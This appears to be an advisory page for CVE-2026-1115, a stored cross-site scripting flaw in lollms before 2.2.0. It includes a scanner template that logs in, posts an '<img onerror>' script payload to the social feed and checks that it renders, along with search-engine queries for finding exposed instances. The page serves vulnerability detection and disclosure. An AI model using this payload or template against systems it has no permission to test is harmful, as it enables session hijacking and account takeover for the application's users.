parisneo/lollms < 2.2.0 - Authenticated Stored XSS
CVE-2026-1115
Early Release
Description
parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
Severity
High
CVSS Score
9
Exploit Probability
1%
Affected Product
lollms
Published Date
August 11, 2026
Template Author
str4k3r
CVE-2026-1115.yaml
id: CVE-2026-1115
info:
name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS
author: str4k3r
severity: high
description: |
parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
impact: |
Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.
remediation: |
Update to version 2.2.0 or later.
reference:
- https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a
- https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa
- https://nvd.nist.gov/vuln/detail/CVE-2026-1115
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2026-1115
epss-score: 0.01027
epss-percentile: 0.60505
cwe-id: CWE-79
metadata:
verified: true
max-request: 4
vendor: parisneo
product: lollms
shodan-query: http.title:"LoLLMs"
fofa-query: title="LoLLMs"
tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive
variables:
marker: "{{rand_base(8)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /api/auth/token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{url_encode(username)}}&password={{url_encode(password)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "access_token")'
condition: and
internal: true
extractors:
- type: json
name: access_token
part: body
internal: true
json:
- '.access_token'
- raw:
- |
POST /api/social/posts HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
Content-Type: application/json
{"content":"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>","visibility":"public","media":[]}
matchers:
- type: dsl
dsl:
- 'status_code == 201'
internal: true
extractors:
- type: json
name: post_id
part: body
internal: true
json:
- '.id'
- raw:
- |
GET /api/social/feed HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")'
condition: and
# digest: 4a0a00473045022100fbe290830c4a818237e01b6b3107b1bccec9cdaa3ac3ab16fd619fa7bff4bebe022052b9e14d870d4a254a2445caefc22699db65d7f2883dd33eb04c5bcc01c37663:922c64590222798bb761d5b6d8e729509.0Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-1115
CWE ID:
cwe-79
Remediation Steps
Update to version 2.2.0 or later.